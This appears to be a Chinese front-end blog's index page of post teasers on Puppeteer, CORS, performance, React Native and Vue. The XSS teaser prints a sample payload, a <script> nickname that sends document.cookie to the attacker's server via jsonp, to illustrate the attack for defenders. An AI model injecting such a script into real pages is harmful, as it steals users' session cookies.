前端监控--Puppeteer终探

先谈谈前端监控的现状
目前市面上的前端监控系统,多是记录资源加载时长、系统抛错、统计埋点、UV/PV…
对开发人员来说就是嵌入监控js脚本,监控的前提是:该监控脚本能正常加载并执行
那么问题就来了,假如某个站点CDN、DNS出现异常,监控脚本完全没机会加载(更不用说运行了)
站点Owner可能很长时间都不知道自己的网站挂了?!监控服务形同虚设…

阅读更多

UI自动化测试--Puppeteer再探

看过上篇的同学,应该都会使用Puppeteer的高级爬虫功能了,附上姐妹篇链接:
爬取并生成《ES6标准入门》PDF–Puppeteer初探
除了爬虫之外,也可以使用Puppeteer完成页面上任意操作,即: 可以用来做UI自动化测试
开门见山,今天的目标是,爬取SF的热门文章,自动推荐到掘金!!!

阅读更多

高级爬虫--Puppeteer初探

首先介绍Puppeteer

  • Puppeteer是一个node库,他提供了一组用来操纵Chrome的API,理论上使用它可以做任何Chrome可以做的事
  • 有点类似于PhantomJS,但Puppeteer由Chrome官方团队进行维护,前景更好

阅读更多

简易发布工具

在一些稍有规模的公司中,基本都会有一套完善的发布系统。
相信很多公司都使用了jenkins作为发布工具,前端最近也是出了一套Faas的发布系统
程序员基本打一个commit,push上去就能完成自动发布,接下来只需要手动点点几个按钮,工作效率提升不少。

那么,大家有没有想过这其中隐藏的流程呢?

阅读更多

CORS-跨域相关问题

近期出于工作原因,又折腾了跨域问题,nginx的配置变的生疏了,这次在这里做个总结…

跨域问题如何产生的?

跨域限制是浏览器特有的行为,出于安全考虑,浏览器不允许脚本获取其他域下资源。
同域需要同时满足以下3点

阅读更多

前端安全-XSS注入

目前WEB应用为满足用户需求,也变得越来越复杂,随之而来的就是各种网络安全的问题。今天在这里讨论前端安全相关的事情。然而想做到绝对安全几乎不可能,支付宝也爆过安全问题,而我们要做的就是提高安全等级,只要能让黑客的攻击成本。

XSS注入示例:

如果一个社交网站没有做XSS防范,一位恶意博主的昵称如下:

1
2
3
4
5
6
7
<script>
$.ajax({
url: '自己的服务器',
dataType: 'jsonp',
data: {'cookie': document.cookie}
});
</script>

阅读更多

前端性能

关于前端性能优化的文章数不胜数,有从各个角度切入,也有单抓某点持续深入探讨的。
由于个人喜欢纵观全局式的学习,因此这里从多个角度整理、分析前端性能优化可行的一些方案。
以下内容有不少是从其他地方摘录、整理而来的,在文末我会把一些比较全面重要的资料
提供出来,供大家参考学习。

阅读更多

React-Native开发Android应用-环境搭建

JS的跨“端”能力让人瞩目,从Browser到Server、Android、IOS甚至Unity、单片机
如果你是个多“端”爱好者,那么现在就开始学习使用React-Native 开发android应用吧.
学习第一步:android环境搭建,React-Native使用(后续会陆续更新)
感兴趣、有经验、有问题的同学都可以加群讨论….
参考文档: https://reactnative.cn/docs/0.43/getting-started.html
项目源码: https://github.com/zhentaoo/ReactNativeSeed

阅读更多

用NODE写一个脚手架工具

首先抛出一个问题,大家在使用webpack,webpack-dev-server,babel-cli,vue-cli,npm这类工具的时候有没有思考过一个问题?为什么我全局安装这个模块之后,就能在shell中使用webpack,babel这些命令?

解答:之所以能使用webpack这些命令,意味着我在npm install webpack -g时,有个可执行文件添加到了我的环境变量中,如下图:

阅读更多

VueJS-项目搭建

  • 想系统学习vue的同学,可以看下Vue官方教程Vue2官方文档
  • 为了降低学习成本,我在这里提供一个搭建Vue seed的脚手架工具poke-ball,文档可以在poke-ball的README.md中看到

阅读更多